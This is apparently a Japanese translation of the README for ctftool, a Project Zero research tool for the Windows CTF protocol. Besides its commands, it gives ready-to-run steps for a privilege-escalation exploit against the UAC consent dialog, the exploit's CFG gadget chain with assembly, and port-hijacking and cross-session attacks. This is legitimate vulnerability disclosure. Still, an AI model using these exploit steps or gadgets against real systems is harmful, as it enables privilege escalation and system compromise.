
システムエクスプロイトをテストしたいだけですか? ここをクリック。
これはctftoolです。CTF(Windowsでテキストサービスを実装するために使用される、あまり知られていないプロトコル)を試すためのインタラクティブなコマンドラインツールです。これは、Windowsの内部を研究したり、テキスト入力プロセッサの複雑な問題をデバッグしたり、Windowsのセキュリティを分析するのに役立つかもしれません。
ctftoolを使用して、CTFクライアントまたはサーバーとのインタラクションを自動化する簡単なスクリプトを作成したり、簡単なファジングを実行したりすることが可能です。
このツールのリリースに伴うブログ記事がこちらにあります。
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftoolはWindows 7、Windows 8、Windows 10でテストされています。32ビット版とx64版の両方がサポートされていますが、x64版の方がより広範囲にテストされています。
ほとんどのコマンドにはオンラインヘルプがあります。helpと入力するとコマンドの一覧が表示され、help <command>で特定のコマンドの詳細なヘルプが表示されます。
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
最初に行いたいことは、セッションに接続し、どのクライアントが接続されているかを確認することです。
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
その後、サーバーまたは接続されている任意のクライアントにコマンドを送受信して実験できます。
自分でビルドしたくない場合は、リリースタブを確認してください
ctftoolの開発にはGNU makeとVisual Studio 2019を使用しました。32ビットビルドのみがサポートされています。これにより、ツールはx86およびx64のWindowsで動作します。
すべての依存関係がインストールされていれば、開発者コマンドプロンプトでmakeと入力するだけで十分です。
私はVisual Studioの"Build Tools"バリアントを使用しており、選択しているコンポーネントはMSVC、MSBuild、CMake、SDKのみです。
このプロジェクトは一部の依存関係にサブモジュールを使用しています。以下のようなコマンドを使用して必要なコードをすべて取得してください。
git submodule update --init --recursive
例はWindows 10 x64でのみ動作します。Windows XP以降のすべてのプラットフォームとバージョンが影響を受けますが、現在PoCは実装されていません。
このツールは、数十年にわたって存在していたCTFプロトコルの多くの重大なセキュリティ問題を発見するために使用されました。
Windows 10 x64 1903でエクスプロイトをテストしたいだけの場合は、ctftool.exeを実行またはダブルクリックして、次のコマンドを入力します:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf
これにより、UACダイアログが表示されるのを待ち、それを侵害してシェルを起動します。
実際、エクスプロイトコードは独立して使用できる2つのステージに分割されています。例えば、connectのオプションパラメータを使用して、別のセッションのユーザーに属するプロセスを侵害したい場合があります。
ほとんどのCTFクライアントは侵害される可能性があります。カーネルはウィンドウを描画するアプリケーションに脆弱なライブラリをロードさせるためです。
セッションに接続し、侵害するクライアントを選択(scanおよびthreadコマンド、または単にwaitを使用)してから、次のようにします:
ctf> script .\scripts\ctf-exploit-common-win10.ctf
ほとんどのCTFクライアントで動作するCFGジャンプチェーンを構築するのは非常に困難でした。最終的なエクスプロイトには2つの主要なコンポーネントがあります。任意書き込みプリミティブと、レジスタを設定してLoadLibrary()を呼び出すことです。
dumpbin /headers /loadconfigを使用して、ホワイトリストに登録されたブランチターゲットをダンプできます。
予測可能な場所にオブジェクトを作成するために、任意書き込みガジェットが必要です。私が見つけた最良の使用可能なガジェットは、msvcrt!_init_time内の任意のdwordデクリメントでした。
これは、希望する値を設定するのではなく、LSBが希望する値に達するまでデクリメントを続ける必要があることを意味します。これは大変な作業ですが、(2^8 - 1) * len以上のデクリメントを行う必要はありません。

このプリミティブを使用して、kernel32の.dataセクションの未使用のスラックスペースに次のようなオブジェクトを構築します。Windowsではイメージのランダム化は起動ごとに行われるため、マッピングされる場所を予測できるように、イメージの一部である必要があります。

(もちろん)任意書き込みガジェットはたくさんありましたが、問題は書き込み後に実行制御を取り戻すことでした。これは非常に困難であることが判明し、それがより単純なものではなくdwordデクリメントにこだわった理由です。
MSCTFはすべての例外をキャッチするため、スタックを乱さずSEHが存続する任意書き込み、または何の損傷も与えずにすぐにクラッシュする任意書き込みを見つけることが課題でした。
msvcrt!_init_timeガジェットは私が見つけた中で最良でした。数命令内でNULLを逆参照し、それ以上メモリを破壊しません。つまり、これを無限に繰り返すことができます。
レジスタを調整するための有用なガジェットを2つ見つけました。1つ目は:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
2つ目は:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
これらの2つのガジェットを、書き込みガジェットで形成したオブジェクトと組み合わせることで、それらの間を行き来して実行をkernel32!LoadLibraryAにリダイレクトできます。
これは複雑でしたが、ジャンプシーケンスは次のように動作します:

興味があれば、デバッガで見てみることをお勧めします。sxd avおよびsxd bpeコマンドを使用しないと、デバッガが書き込みごとに停止することに注意してください!
メモリ破壊とは別に、CTFによって露呈する主要な脆弱性クラスは編集セッション攻撃です。通常、権限の低いプロセス(例えば、低インテグリティ)は、高い権限を持つプロセスに入力を送信したり、データを読み取ったりすることは許可されません。このセキュリティ境界はUIPI(User Interface Privilege Isolation)と呼ばれます。
CTFはこれらの前提を破り、権限のないプロセスが特権プロセスに入力を送信できるようにします。
この攻撃が機能するにはいくつかの要件があります。私の知る限り、OoP TIP(out-of-process text input processor)を使用する表示言語がインストールされている場合にのみ機能します。IMEを使用する入力言語(中国語、日本語、韓国語など)のユーザーや、a11yツールを使用するユーザーがこのカテゴリに該当します。
攻撃の例は次のとおりです:
scriptsディレクトリには、編集セッションの動作をデモンストレーションするためにメモ帳ウィンドウに入力を送信するサンプルスクリプトがあります。
CTFプロトコルではクライアントとサーバー間の認証が関与しないため、\BaseNamedObjectsに書き込むために必要な権限を持つ攻撃者は、CTF ALPCポートを作成してモニターを装うことができます。
これにより、モニターによって強制されるすべての制限を回避できます。
この攻撃を試してみたい場合は、ctftoolのhijackコマンドを試してみてください。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
CTFプロトコルにはセッション分離がありません。どのプロセスでも任意のCTFサーバーに接続できます。例えば、ターミナルサービスのユーザーは、管理者を含む他のユーザーのプロセスと対話できます。
この攻撃を試したい場合は、ctftoolのconnectコマンドがデフォルト以外のセッションへの接続をサポートしています。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
執筆時点では、このツールが暴露を助けた多数の設計上の欠陥に対して、MicrosoftがどのようにCTFプロトコルを変更するかは不明です。
そのため、このツールは概念実証状態であると考えてください。
Windows XP以降のすべてのWindowsバージョンは、サポートされているすべてのプラットフォームでCTFを使用しています。
XPまでベースシステムの一部ではありませんでしたが、Windows 98やNT4などの初期のバージョンでも、Microsoft OfficeをインストールするとCTFを使用していました。
ctftoolはx86およびx64上のWindows 7以降をサポートしていますが、それ以前のバージョンや他のプラットフォームも可能性としてサポートされる可能性があり、貢献を歓迎します。
MicrosoftはCTFが何の略かを文書化しておらず、テキストサービスのドキュメント、SDKサンプル、シンボル名、ヘッダーファイルなどどこにも説明されていません。私の説では、ハンガリアン記法でクラスに名前を付けるとしたらCTextFrameworkから来ているのではないかと思います。
ctfmonがClear Type FontsやAzure Collaborative Translation Frameworkに関係していると主張するウェブサイトもありますが、それは誤りです。
更新: Jake Nelsonが"Common Text Framework"の証拠を発見
Tavis Ormandy [email protected]
すべてのオリジナルコードはApache 2.0ライセンスです。詳細はLICENSEファイルを参照してください。
以下のコンポーネントはインポートされたサードパーティプロジェクトです。
GetProcAddress()を実装するために使用されます。これはsymbolコマンドで使用され、同じバイナリをx64とx86で動作させることができます。